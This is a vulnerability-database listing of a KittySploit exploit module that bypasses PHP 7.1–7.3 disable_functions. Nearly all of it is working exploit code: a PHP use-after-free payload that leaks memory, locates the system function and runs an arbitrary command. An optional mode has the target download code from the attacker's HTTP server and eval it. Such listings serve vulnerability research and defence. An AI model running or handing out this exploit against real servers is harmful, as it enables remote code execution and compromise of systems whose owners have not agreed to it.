Lucene search
+L

PHP 7.1-7.3 disable_functions bypass

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

PHP disable_functions bypass via json to achieve rce, shell, and file_read.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 7.1-7.3 disable_functions bypass",
		"description": "PHP 7.1-7.3 json disable_functions bypass",
		"arch": Arch.PHP,
		"targets": [ 
			"7.1 - all versions",
			"7.2 < 7.2.19",
			"7.3 < 7.3.6"
		],
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "command system to send", True)
	start_web_delivery = OptBool(False, "start web delivery", True)
	
	def check(self):
		"""Check if target is vulnerable"""
		return True
		
	def run(self):
		# Use raw f-string to preserve PHP braces while allowing command substitution
		data = rf"""
$cmd = "COMMAND_PLACEHOLDER";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {{
    public static $leak;
}}

class Z implements JsonSerializable {{
    public function write(&$str, $p, $v, $n = 8) {{
      $i = 0;
      for($i = 0; $i < $n; $i++) {{
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }}
    }}

    public function str2ptr(&$str, $p = 0, $s = 8) {{
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {{
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }}
        return $address;
    }}

    public function ptr2str($ptr, $m = 8) {{
        $out = "";
        for ($i=0; $i < $m; $i++) {{
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }}
        return $out;
    }}

    # unable to leak ro segments
    public function leak1($addr) {{
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }}

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {{
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) {{ $leak %= 2 << ($s * 8) - 1; }}

        return $leak;
    }}

    public function parse_elf($base) {{
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {{
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {{ # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            }} else if($p_type == 1 && $p_flags == 5) {{ # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }}
        }}

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }}

    public function get_basic_funcs($base, $elf) {{
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {{
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            }} else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            }} else continue;

            return $data_addr + $i * 8;
        }}
    }}

    public function get_binary_base($binary_leak) {{
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {{
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) {{ # ELF header
                return $addr;
            }}
        }}
    }}

    public function get_system($basic_funcs) {{
        $addr = $basic_funcs;
        do {{
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {{ # system
                return $this->leak2($addr + 8);
            }}
            $addr += 0x20;
        }} while($f_entry != 0);
        return false;
    }}

    public function jsonSerialize() {{
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {{
            die('UAF failed.');
        }}

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {{
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }}

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {{
            die("Couldn't determine binary base address");
        }}

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {{
            die("Couldn't parse ELF");
        }}

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {{
            die("Couldn't get basic_functions address");
        }}

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {{
            die("Couldn't get zif_system address");
        }}
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {{
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }}

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {{
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }}

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {{
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }}

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }}
}}

$y = [new Z()];
json_encode([&$y]);
		"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			host, port, httpd = self.web_delivery(data)
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(self.cmd_execute(data))
		return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
1